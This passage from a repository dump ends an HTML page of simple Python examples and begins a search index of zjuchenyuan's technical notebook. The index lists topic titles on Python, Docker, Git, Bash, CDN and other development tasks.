style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(dividend, divisor)</span>:</span>\r\n    quotient = dividend / divisor\r\n    remainder = dividend % divisor\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">return</span> quotient, remainder\r\n\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">calculate_stuff</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(x, y)</span>:</span>\r\n    (q, r) = divide(x,y)\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">print</span> q, r\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Classes</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">class</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">Person</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(object)</span>:</span>\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">__init__</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self, name, age)</span>:</span>\r\n        self.name = name\r\n        self.age = age \r\n\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">birthday</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self)</span>:</span>\r\n        self.age += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>\r\n</code></pre>\r\n</div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div><br/></div></div></div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "docs/search/search_index.json",
    "content": "{\"config\":{\"lang\":[\"en\"],\"separator\":\"[\\\\s\\\\-]+\",\"pipeline\":[\"stopWordFilter\"]},\"docs\":[{\"location\":\"\",\"title\":\"zjuchenyuan\\u2019s Notebook\",\"text\":\"<p>My notebook about technology, for lookup and share</p> <p>\\u67e5\\u770b\\u5185\\u5bb9 \\u8bf7\\u70b9\\u51fbTopic\\u6807\\u9898\\uff08\\u5982Docker\\uff09\\u8fdb\\u5165\\u9875\\u9762\\u540e\\u4f7f\\u7528\\u53f3\\u4fa7\\u76ee\\u5f55\\u5b9a\\u4f4d</p> <p>\\u8bc4\\u8bba\\u8bf7\\u4f7f\\u7528: Github Issue</p> <p>\\u67e5\\u770b\\u6700\\u8fd1\\u7684\\u66f4\\u65b0</p>\"},{\"location\":\"#python\",\"title\":\"Python\",\"text\":\"<ul> <li>\\u8bed\\u8a00\\u52fe\\u52d2QuickStart</li> <li>\\u5b89\\u88c5pip</li> <li>\\u8bbe\\u7f6epip\\u6e90</li> <li>requests\\u4f7f\\u7528\\u591aIP\\u8bf7\\u6c42</li> <li>Python\\u591a\\u7ebf\\u7a0b\\u6a21\\u677f</li> <li>http.server\\uff08BaseHTTPServer\\uff09\\u5e76\\u53d1\\u6027\\u6539\\u5584 \\u4e0d\\u5fc5\\u4fee\\u6539\\u5e93\\u6587\\u4ef6</li> <li>\\u4e2d\\u6587\\u8f93\\u51fa\\u4e71\\u7801\\u95ee\\u9898\\u89e3\\u51b3</li> <li>pycodestyle\\u68c0\\u67e5\\u4ee3\\u7801\\u98ce\\u683c</li> <li>\\u751f\\u6210\\u968f\\u673a\\u5b57\\u7b26\\u4e32</li> <li>\\u522b\\u5bf9\\u5927\\u7684list\\u5faa\\u73af\\u4f7f\\u7528in\\uff0c\\u5e94\\u8be5\\u6539\\u7528set</li> <li>\\u89e3\\u51b3Python.h: No such file or directory</li> <li>\\u4e8c\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u8f6c\\u666e\\u901a\\u5b57\\u7b26\\u4e32</li> <li>\\u5341\\u516d\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u8f6cbytes\\u5b57\\u7b26\\u4e32</li> <li>\\u7528requests\\u8fdb\\u884cpost</li> <li>\\u7b26\\u53f7\\u6570\\u4e0e\\u65e0\\u7b26\\u53f7\\u6570\\u8f6c\\u6362</li> <li>\\u4f7f\\u7528signal.SIGALRM\\u5728\\u9650\\u5b9a\\u65f6\\u95f4\\u540e\\u9000\\u51fa\\u8fdb\\u7a0b</li> <li>\\u6355\\u6349\\u7528\\u6237\\u7684Ctrl+C</li> <li>\\u4f7f\\u7528signal.SIGALRM\\u5b9e\\u73b0\\u5b9a\\u65f6\\u5668</li> <li>\\u4f7f\\u7528pdb\\u8fdb\\u884c\\u8c03\\u8bd5</li> <li>\\u4f7f\\u7528Python\\u5f00\\u53d1\\u963f\\u91cc\\u4e91\\u51fd\\u6570\\u8ba1\\u7b97\\u540e\\u7aef\\u670d\\u52a1</li> <li>\\u4fee\\u590dgbk\\u7f16\\u7801\\u7684\\u6587\\u4ef6\\u540d</li> <li>Crack RSA! \\u7834\\u89e3\\u77ed\\u957f\\u5ea6\\u5bc6\\u94a5\\u7684RSA\\u52a0\\u5bc6</li> <li>\\u65f6\\u95f4\\u6233\\u4e0e\\u5b57\\u7b26\\u4e32\\u76f8\\u4e92\\u8f6c\\u6362</li> <li>\\u7528redis\\u5b58\\u50a8\\u5b57\\u5178</li> <li>python selenium+Docker chrome headless\\u722c\\u590d\\u6742\\u7f51\\u9875</li> <li>python transmissionrpc \\u4e0a\\u4f20\\u79cd\\u5b50 \\u83b7\\u53d6\\u72b6\\u6001 \\u589e\\u52a0tracker \\u4fee\\u6539torrent\\u6587\\u4ef6\\u4e2d\\u7684tracker</li> <li>uwsgi\\u4f18\\u96c5\\u91cd\\u542f</li> <li>Python3.5 open\\u6253\\u5f00\\u6587\\u4ef6\\u9ed8\\u8ba4\\u4f7f\\u7528utf-8</li> <li>\\u4f7f\\u7528sentry</li> <li>\\u89e3\\u51b3\\u547d\\u4ee4\\u884c\\u6267\\u884cpy\\u6587\\u4ef6\\u6ca1\\u6709sys.argv\\u7684\\u95ee\\u9898</li> <li>Python\\u83b7\\u53d6Windows Chrome\\u7684Cookie</li> <li>Win\\u5f00\\u53d1\\u6446\\u8131\\u6bcf\\u6b21\\u90fd\\u8981\\u5199\\u7684encoding=utf-8</li> <li>Ubuntu16.04\\u5b89\\u88c5Python3.7</li> <li>Python\\u4f7f\\u7528MongoDB \\u589e\\u5220\\u67e5\\u6539 \\u6279\\u91cf\\u8986\\u76d6\\u63d2\\u5165 \\u591a\\u8868join \\u968f\\u673a\\u91c7\\u6837</li> </ul>\"},{\"location\":\"#python_1\",\"title\":\"Python\\u7a0b\\u5e8f\\u8bbe\\u8ba1\\u8bfe\\u7a0b\",\"text\":\"<p>\\u4f5c\\u4e1a\\u7684\\u5e38\\u89c1\\u9519\\u8bef\\uff0c\\u671f\\u672b\\u590d\\u4e60</p>\"},{\"location\":\"#gist-python\",\"title\":\"gist Python\\u4e00\\u4e9b\\u5e38\\u7528\\u7684\\u4ee3\\u7801\\u7247\\u6bb5\",\"text\":\"<ul> <li>\\u8fde\\u63a5mysql\\u63d2\\u5165\\u3001\\u67e5\\u8be2</li> <li>\\u5927\\u5c0f\\u5199\\u4e0d\\u654f\\u611f\\u5b57\\u5178</li> <li>print\\u7684\\u65f6\\u5019\\u987a\\u5e26\\u5e26\\u4e0a\\u65f6\\u95f4</li> <li>mpms\\u591a\\u7ebf\\u7a0b\\u4e0b\\u6bcf\\u4e2a\\u7ebf\\u7a0b\\u5355\\u72ec\\u53d8\\u91cf</li> <li>\\u4f7f\\u7528AES\\u52a0\\u5bc6\\u5b57\\u7b26\\u4e32 pyaes\\u5e93</li> </ul>\"},{\"location\":\"#bash\",\"title\":\"BASH\",\"text\":\"<ul> <li>\\u5728bash\\u811a\\u672c\\u4e2d\\u4f7f\\u7528alias</li> <li>\\u5224\\u65ad\\u547d\\u4ee4\\u884c\\u53c2\\u6570\\u662f\\u5426\\u4e3a\\u7a7a</li> <li>for\\u5faa\\u73af</li> <li>\\u5224\\u65ad\\u547d\\u4ee4\\u3001\\u6587\\u4ef6\\u662f\\u5426\\u5b58\\u5728</li> <li>rsync\\u79fb\\u52a8\\u8fdc\\u7a0b\\u76ee\\u5f55\\u7279\\u5b9a\\u6587\\u4ef6\\u81f3\\u672c\\u673a\\u540e\\u5faa\\u73af\\u64cd\\u4f5c</li> </ul>\"},{\"location\":\"#bat\",\"title\":\"BAT \\u6279\\u5904\\u7406\",\"text\":\"<ul> <li>\\u5feb\\u901f\\u6253\\u5f00cmd</li> <li>\\u5e76\\u5217\\u8bed\\u53e5\\u8bed\\u6cd5</li> <li>\\u5faa\\u73affor</li> <li>\\u7ed3\\u675f\\u8fdb\\u7a0btaskkill</li> <li>\\u5185\\u5b58\\u6574\\u7406free</li> <li>\\u7761\\u4e00\\u4f1aSleepX</li> <li>\\u5224\\u65ad\\u6587\\u4ef6\\u5939\\u5b58\\u5728</li> <li>\\u521b\\u5efa\\u786c\\u94fe\\u63a5mklink\\u6216\\u8005fsutil hardlink create</li> <li>\\u7aef\\u53e3\\u8f6c\\u53d1</li> <li>\\u4fdd\\u6301RVPN\\u4e0d\\u65ad\\u5f00</li> <li>vpn\\u9759\\u6001\\u8def\\u7531\\u914d\\u7f6e</li> <li>\\u8fdb\\u5165\\u4f11\\u7720</li> <li>\\u5feb\\u901f\\u8fdb\\u5165\\u7cfb\\u7edf\\u4ee3\\u7406\\u8bbe\\u7f6e\\uff0c\\u4e0d\\u7528\\u6253\\u5f00IE</li> <li>\\u5728\\u666e\\u901a\\u6743\\u9650cmd\\u4e2d\\u83b7\\u5f97\\u66f4\\u9ad8\\u6743\\u9650</li> <li>\\u547d\\u4ee4\\u884c\\u914d\\u7f6eIP</li> <li>\\u547d\\u4ee4\\u884c\\u4f7f\\u7528VeraCrypt</li> <li>\\u547d\\u4ee4\\u884c\\u4e34\\u65f6\\u5173\\u95edWindows Defender</li> <li>\\u547d\\u4ee4\\u884c\\u589e\\u52a0Windows\\u9632\\u706b\\u5899\\u89c4\\u5219\\u963b\\u65adIP</li> </ul>\"},{\"location\":\"#bitcoin\",\"title\":\"Bitcoin\",\"text\":\"<ul> <li>\\u671f\\u8d27\\u6c38\\u7eed\\u5408\\u7ea6\\u4ecb\\u7ecd</li> <li>\\u6c38\\u7eed\\u5408\\u7ea6\\u8d44\\u91d1\\u8d39\\u7387\\u5957\\u5229 \\u5b9e\\u65f6\\u6536\\u76ca\\u7387</li> </ul>\"},{\"location\":\"#c\",\"title\":\"C \\u8bed\\u8a00\",\"text\":\"<ul> <li>\\u5173\\u4e8eDev C++</li> <li>\\u8f93\\u5165\\u7684\\u95ee\\u9898\\uff0c\\u5efa\\u8bae\\u7528gets\\u548csscanf</li> <li>C++\\u7528sstream\\u4ee3\\u66ffsprintf</li> <li>g++\\u7701\\u7565\\u62f7\\u8d1d\\u6784\\u9020\\u51fd\\u6570\\u7684\\u95ee\\u9898</li> <li>[\\u6570\\u636e\\u7ed3\\u6784]\\u6811\\u7684\\u904d\\u5386</li> <li>\\u5bf9\\u4e00\\u4e2aconst\\u7684vector\\u4f7f\\u7528\\u8fed\\u4ee3\\u5668\\u8981\\u7528const_iterator</li> <li>\\u5c0f\\u5fc3\\u672a\\u521d\\u59cb\\u5316\\u7684\\u53d8\\u91cf</li> <li>\\u83b7\\u53d6\\u6587\\u4ef6\\u5927\\u5c0f</li> <li>\\u9898\\u76ee\\u89e3\\u6790 (\\u7ed3\\u6784\\u6307\\u9488\\u3001\\u7ed3\\u6784\\u6570\\u7ec4\\u2026)</li> </ul>\"},{\"location\":\"#cdn\",\"title\":\"CDN\",\"text\":\"<ul> <li>\\u00b7UPYUN \\u53c8\\u62cd\\u4e91</li> <li>\\u7ba1\\u7406\\u6587\\u4ef6\\u53ef\\u4ee5\\u7528FTP\\uff0cUpyunManager\\uff0cUpx</li> <li>python\\u89c4\\u5219\\u5237\\u65b0\\uff0cpython\\u8c03\\u7528\\u5b98\\u65b9API\\u8fdb\\u884cURL\\u5237\\u65b0</li> <li>\\u4f7f\\u7528upyun\\u63d0\\u4f9b\\u7684webp\\u529f\\u80fd\\u8282\\u7701\\u6d41\\u91cf</li> <li>\\u4f7f\\u7528\\u8fb9\\u7f18\\u89c4\\u5219\\u4fee\\u590d\\u6539\\u7248\\u5bfc\\u81f4\\u7684404\\u95ee\\u9898</li> <li>\\u4f7f\\u7528\\u8fb9\\u7f18\\u89c4\\u5219\\u5b9e\\u73b0upyun TOKEN\\u53cd\\u76d7\\u94fe\\u529f\\u80fd</li> <li>https\\u8bc1\\u4e66\\u66f4\\u65b0\\u7684\\u81ea\\u52a8\\u5316\\u811a\\u672c</li> <li>\\u8868\\u5355\\u4e0a\\u4f20bash\\u5feb\\u901f\\u8c03\\u7528</li> <li>\\u00b7Qiniu \\u4e03\\u725b</li> <li>\\u4f7f\\u7528qshell\\u4e0a\\u4f20\\u6587\\u4ef6\\u5939</li> <li>\\u672c\\u5730DNS\\u4e0d\\u9760\\u8c31\\uff1f\\u7528HTTP DNS\\u8bbf\\u95ee\\u6b63\\u786e\\u7684CDN\\u8282\\u70b9</li> <li>UPYUN\\u7701\\u94b1\\u65b9\\u6848\\uff1a\\u7f13\\u5b5861\\u79d2 \\u53d8\\u4e3a\\u9759\\u6001\\u8bf7\\u6c42 </li> </ul>\"},{\"location\":\"#curl\",\"title\":\"cURL\",\"text\":\"<ul> <li>\\u6a21\\u62df\\u6d4f\\u89c8\\u5668\\u8bf7\\u6c42</li> <li>\\u57fa\\u672c\\u6559\\u7a0b</li> <li>\\u8fd8\\u53ef\\u4ee5\\u5faa\\u73af\\u54df</li> <li>wget\\u57280b/s\\u65f6\\u81ea\\u52a8\\u91cd\\u8fde</li> </ul>\"},{\"location\":\"#developer\",\"title\":\"Developer\",\"text\":\"<ul> <li>\\u4fdd\\u6301\\u6280\\u672f\\u7cbe\\u8fdb</li> <li>\\u5982\\u4f55\\u660e\\u667a\\u5730\\u5411\\u7a0b\\u5e8f\\u5458\\u63d0\\u95ee</li> <li>\\u4f7f\\u7528chrome\\u7f13\\u5b58\\u627e\\u5230\\u88ab\\u5220\\u7684qq\\u7a7a\\u95f4\\u7684\\u56fe\\u7247</li> <li>\\u4e3a\\u4ec0\\u4e48\\u6211\\u559c\\u6b22\\u5199\\u535a\\u5ba2\\uff1f</li> <li>\\u652f\\u6301\\u88abat\\u7684(outgoing)\\u9489\\u9489\\u673a\\u5668\\u4eba</li> <li>Go\\u8bed\\u8a00-\\u5b89\\u88c5 \\u5b89\\u88c5\\u7f3a\\u5931\\u5e93</li> </ul>\"},{\"location\":\"#docker\",\"title\":\"Docker\",\"text\":\"<ul> <li>myubuntu \\u57fa\\u7840\\u955c\\u50cf</li> <li>\\u5b89\\u88c5</li> <li>\\u52a0\\u901f\\u955c\\u50cf\\u4e0b\\u8f7d</li> <li>\\u65e7\\u7248\\u672c\\u5378\\u8f7d</li> <li>\\u83b7\\u5f97\\u5bb9\\u5668\\u7684ip</li> <li>\\u5bfc\\u5165\\u5bfc\\u51fa\\u5bb9\\u5668</li> <li>\\u89e3\\u51b3iptables failed\\u95ee\\u9898</li> <li>\\u8fc1\\u79fbDocker\\u6587\\u4ef6\\u5939\\u5230\\u5176\\u4ed6\\u786c\\u76d8</li> <li>\\u89e3\\u51b3debian\\u7b49\\u5bb9\\u5668\\u6ca1\\u6709ifconfig\\u7684\\u95ee\\u9898</li> <li>\\u8bbe\\u7f6e\\u5bb9\\u5668\\u4f4e\\u6743\\u9650\\u7528\\u6237\\u8fd0\\u884c</li> <li>\\u8bbe\\u7f6e\\u5bb9\\u5668/etc/resolv.conf\\u548c/etc/hosts</li> <li>\\u5bb9\\u5668\\u9650\\u5236\\u53c2\\u6570\\u8bbe\\u7f6e</li> <li>\\u5feb\\u901f\\u90e8\\u7f72ftp</li> <li>\\u5feb\\u901f\\u90e8\\u7f72wordpress</li> <li>Dockerfile \\u4e2d\\u7684 apt-get \\u9759\\u9ed8\\u6267\\u884c</li> <li>\\u8ba9Docker\\u5bb9\\u5668\\u5f97\\u5230\\u5185\\u7f51IP</li> <li>\\u4f7f\\u7528iptables\\u7aef\\u53e3\\u8f6c\\u53d1\\u8ba9Docker\\u5bb9\\u5668\\u5f97\\u5230\\u5185\\u7f51IP</li> <li>\\u5feb\\u901f\\u90e8\\u7f72samba</li> <li>[CTF]\\u6309\\u9700\\u5206\\u914d\\u5bb9\\u5668 \\u8fc7\\u671f\\u81ea\\u52a8\\u9500\\u6bc1</li> <li>\\u5728\\u5bb9\\u5668A\\u4e2d\\u4f7f\\u7528\\u522b\\u540d\\u8bbf\\u95ee\\u5bb9\\u5668B</li> <li>\\u4fee\\u590dDocker\\u66f4\\u65b0\\u523018.02\\u540e\\u90e8\\u5206\\u5bb9\\u5668\\u65e0\\u6cd5start\\u7684\\u95ee\\u9898</li> <li>\\u89e3\\u51b3docker exec -it\\u8fdb\\u5165\\u5bb9\\u5668\\u5c4f\\u5e55\\u5927\\u5c0f\\u4e0d\\u5bf9\\u7684\\u95ee\\u9898</li> <li>\\u542f\\u52a8\\u53e6\\u4e00\\u4e2aDocker Daemon\\u8fdb\\u7a0b</li> <li>\\u914d\\u7f6e\\u4f7f\\u7528Docker\\u7248\\u672c\\u7684Gitlab CI</li> <li>\\u4e3a\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u5bb9\\u5668\\u521b\\u5efa\\u4e34\\u65f6\\u7aef\\u53e3\\u6620\\u5c04 socat</li> <li>\\u8fd0\\u884c\\u4e2d\\u7684\\u5bb9\\u5668\\u6dfb\\u52a0\\u76ee\\u5f55\\u6302\\u8f7d</li> <li>Docker\\u4f7f\\u752832\\u4f4d\\u955c\\u50cf</li> <li>\\u4fee\\u6539Docker\\u5e95\\u5c42\\u6587\\u4ef6\\u4fee\\u6539macvlan\\u53d8\\u66f4\\u7f51\\u6bb5</li> <li>\\u83b7\\u53d62\\u4e2a\\u6708\\u524d\\u9000\\u51fa\\u7684\\u5bb9\\u5668\\u5217\\u8868\\uff0c\\u4ee5\\u7a7a\\u683c\\u5206\\u9694</li> <li>nsenter\\u8fdb\\u5165\\u5bb9\\u5668\\u68c0\\u67e5\\u7f51\\u7edc</li> <li>\\u4ece/var/lib/docker\\u63d0\\u53d6\\u5bb9\\u5668\\u5f00\\u59cb\\u65f6\\u95f4</li> <li>\\u56fa\\u5b9a\\u5bb9\\u5668\\u7684IP</li> <li>Docker\\u5bb9\\u5668\\u7981\\u6b62\\u4e3b\\u52a8\\u8054\\u7f51 \\u4f46\\u5bf9\\u5916\\u63d0\\u4f9bweb\\u670d\\u52a1</li> <li>\\u79c1\\u6709registry\\u7684api</li> </ul>\"},{\"location\":\"#eth\",\"title\":\"ETH\",\"text\":\"<ul> <li>\\u83b7\\u53d6\\u6d4b\\u8bd5\\u7f51\\u7edcropsten\\u7684ETH</li> <li>\\u751f\\u6210\\u4e00\\u5806\\u4e0eMetaMask\\u517c\\u5bb9\\u7684\\u5730\\u5740</li> <li>Python\\u53d1\\u8d77\\u4ea4\\u6613(Web3.py)</li> <li>\\u5730\\u5740\\u4ea4\\u6613\\u67e5\\u8be2API</li> </ul>\"},{\"location\":\"#favorites\",\"title\":\"Favorites\",\"text\":\"<ul> <li>Intel i386 \\u624b\\u518c \\u53ca \\u52d8\\u8bef</li> <li>ASCII\\u5b57\\u7b26\\u56fe\\u6848\\u751f\\u6210</li> <li>\\u89e3\\u91caShell\\u547d\\u4ee4\\u6bcf\\u4e2a\\u53c2\\u6570</li> <li>\\u5b89\\u5168\\u4f1a\\u8bae\\u7684\\u6392\\u540d \\u5efa\\u8bae\\u8bfb\\u7684\\u8bba\\u6587</li> <li>More Links</li> <li>Git Emoji</li> </ul>\"},{\"location\":\"#flask\",\"title\":\"Flask\",\"text\":\"<ul> <li>\\u5e94\\u7528\\u6839\\u76ee\\u5f55APP_ROOT</li> <li>render_template\\u5f15\\u5165\\u6240\\u6709\\u5168\\u5c40\\u53d8\\u91cf+\\u5c40\\u90e8\\u53d8\\u91cf</li> <li>\\u6dfb\\u52a0\\u591a\\u4e2a\\u9759\\u6001\\u76ee\\u5f55</li> <li>\\u5224\\u65ad\\u662f\\u5426\\u624b\\u673a\\u8bbf\\u95ee g.isphone</li> <li>request\\u600e\\u4e48\\u62ff\\u5230url\\u7684\\u5404\\u4e2a\\u90e8\\u5206</li> <li>\\u9047\\u5230\\u6027\\u80fd\\u74f6\\u9888\\u505aprofiling\\u770b\\u51fd\\u6570\\u8017\\u65f6</li> <li>lazyload \\u5ef6\\u8fdf\\u52a0\\u8f7d\\u8017\\u65f6\\u7684\\u521d\\u59cb\\u5316\\u64cd\\u4f5c</li> <li>\\u8ba9app.run\\u542f\\u52a8\\u7684\\u670d\\u52a1\\u5668\\u4f7f\\u7528HTTP/1.1</li> <li>\\u8ba9render_template\\u76f4\\u63a5\\u80fd\\u4f7f\\u7528\\u5f53\\u524d\\u6240\\u6709\\u53d8\\u91cf</li> </ul>\"},{\"location\":\"#fuzzing\",\"title\":\"Fuzzing\",\"text\":\"\"},{\"location\":\"#dataflow-sanitizer\",\"title\":\"DataFlow Sanitizer\",\"text\":\"<ul> <li>Compiling Exiv2 with DFSan (including compile libcxx)</li> </ul>\"},{\"location\":\"#git\",\"title\":\"Git\",\"text\":\"<ul> <li>\\u7acb\\u5373\\u4f7f\\u7528</li> <li>git clone\\u52a0\\u901f \\u2013depth 1</li> <li>git push\\u52a0\\u901f</li> <li>git push\\u514d\\u5bc6\\u7801</li> <li>bash\\u5de5\\u4f5c\\u73af\\u5883(\\u522b\\u540d,\\u81ea\\u52a8\\u5b8c\\u6210,dirty\\u63d0\\u793a)\\u8bbe\\u7f6e</li> <li>\\u597d\\u73a9\\u7684\\u547d\\u4ee4\\u4eec</li> <li>gitignore\\u8d1f\\u5411\\u9009\\u62e9</li> <li>\\u8865\\u4e0acommit\\u6f0f\\u6389\\u7684\\u6587\\u4ef6 \\u2013amend</li> <li>\\u5bc6\\u7801\\u6cc4\\u9732\\u67e5\\u4f5c\\u8005 blame</li> <li>\\u6587\\u4ef6\\u4e00\\u6b21\\u6027\\u6539\\u592a\\u591a\\u4e86\\uff0c\\u62c6\\u6210\\u591a\\u6b21\\u63d0\\u4ea4 add -p</li> <li>\\u672c\\u5730\\u5ffd\\u7565\\u4e00\\u4e9b\\u4e2a\\u4eba\\u7684\\u4fee\\u6539</li> <li>\\u672c\\u5730\\u521b\\u5efabranch\\u540epush\\u64cd\\u4f5cgit push -u</li> <li>\\u7528gpg\\u7ed9git\\u63d0\\u4ea4\\u7b7e\\u540d</li> <li>\\u4f7f\\u7528GitLab API\\u5b58\\u50a8\\u6570\\u636e\\u5907\\u4efd\\u6587\\u4ef6 \\u4e0d\\u5360\\u7528\\u672c\\u5730\\u7a7a\\u95f4</li> <li>GitHub\\u4e0d\\u540c\\u4ed3\\u5e93\\u4f7f\\u7528\\u4e0d\\u540cssh key</li> <li>\\u5907\\u4efdGitHub\\u4e0a\\u81ea\\u5df1star\\u8fc7\\u7684\\u4ed3\\u5e93</li> </ul>\"},{\"location\":\"#github-project-recommendation\",\"title\":\"Github Project Recommendation\",\"text\":\"<ul> <li>\\u89c6\\u9891\\u4e0b\\u8f7dyou-get</li> <li>\\u8bb0\\u5fc6\\u624b\\u6bb5Anki</li> <li>\\u5728\\u7ebf\\u8bc4\\u6d4bOnlineJudge</li> <li>Python\\u4e5f\\u80fd\\u7528\\u6765\\u89e3\\u65b9\\u7a0bsympy</li> <li>\\u8ba9\\u7f51\\u7ad9\\u94fe\\u63a5\\u79d2\\u5f00InstantClick</li> </ul>\"},{\"location\":\"#java\",\"title\":\"Java\",\"text\":\"<ul> <li>\\u4e00\\u4e9bJava\\u4e0eC++\\u7684\\u4e0d\\u540c\\u4e4b\\u5904</li> <li>\\u5f02\\u5e38\\u5904\\u7406\\u4e2d\\u7684\\u8d44\\u6e90\\u91ca\\u653e\\u95ee\\u9898</li> <li>JVM\\u542f\\u52a8\\u65f6\\u7684\\u5185\\u5b58\\u53c2\\u6570</li> <li>\\u4fee\\u590dStruts2\\u7684S2-045\\u6f0f\\u6d1e</li> </ul>\"},{\"location\":\"#javascript\",\"title\":\"JavaScript\",\"text\":\"<ul> <li>\\u4f7f\\u7528\\u672c\\u5730\\u5b58\\u50a8localStorage</li> <li>\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\u751f\\u6210</li> <li>\\u5f02\\u5e38</li> <li>\\u4f7f\\u7528phantomjs\\u722c\\u53d6\\u7f51\\u9875</li> <li>jQuery\\u7ed1\\u5b9a\\u201d\\u53d8\\u4e3a\\u53ef\\u89c1\\u201d\\u4e8b\\u4ef6</li> <li>\\u8bfb\\u53d6GET\\u53c2\\u6570</li> <li>\\u4f7f\\u7528 Github Issue \\u4f5c\\u4e3a\\u535a\\u5ba2\\u8bc4\\u8bba\\u533a</li> <li>history.replaceState\\u4fee\\u6539\\u5386\\u53f2\\u8bb0\\u5f55</li> <li>\\u8bb0\\u4f4f\\u4e00\\u4e2acheckbox\\u7684\\u72b6\\u6001</li> <li>\\u4f7f\\u7528InstantClick\\u8e29\\u5751</li> <li>\\u7528\\u539f\\u751fJavascript\\u64cd\\u4f5cDOM\\u8282\\u70b9</li> <li>\\u52ab\\u6301\\u52a8\\u6001\\u56fe\\u7247\\u52a0\\u8f7d \\u4fee\\u6539src\\u5c5e\\u6027</li> 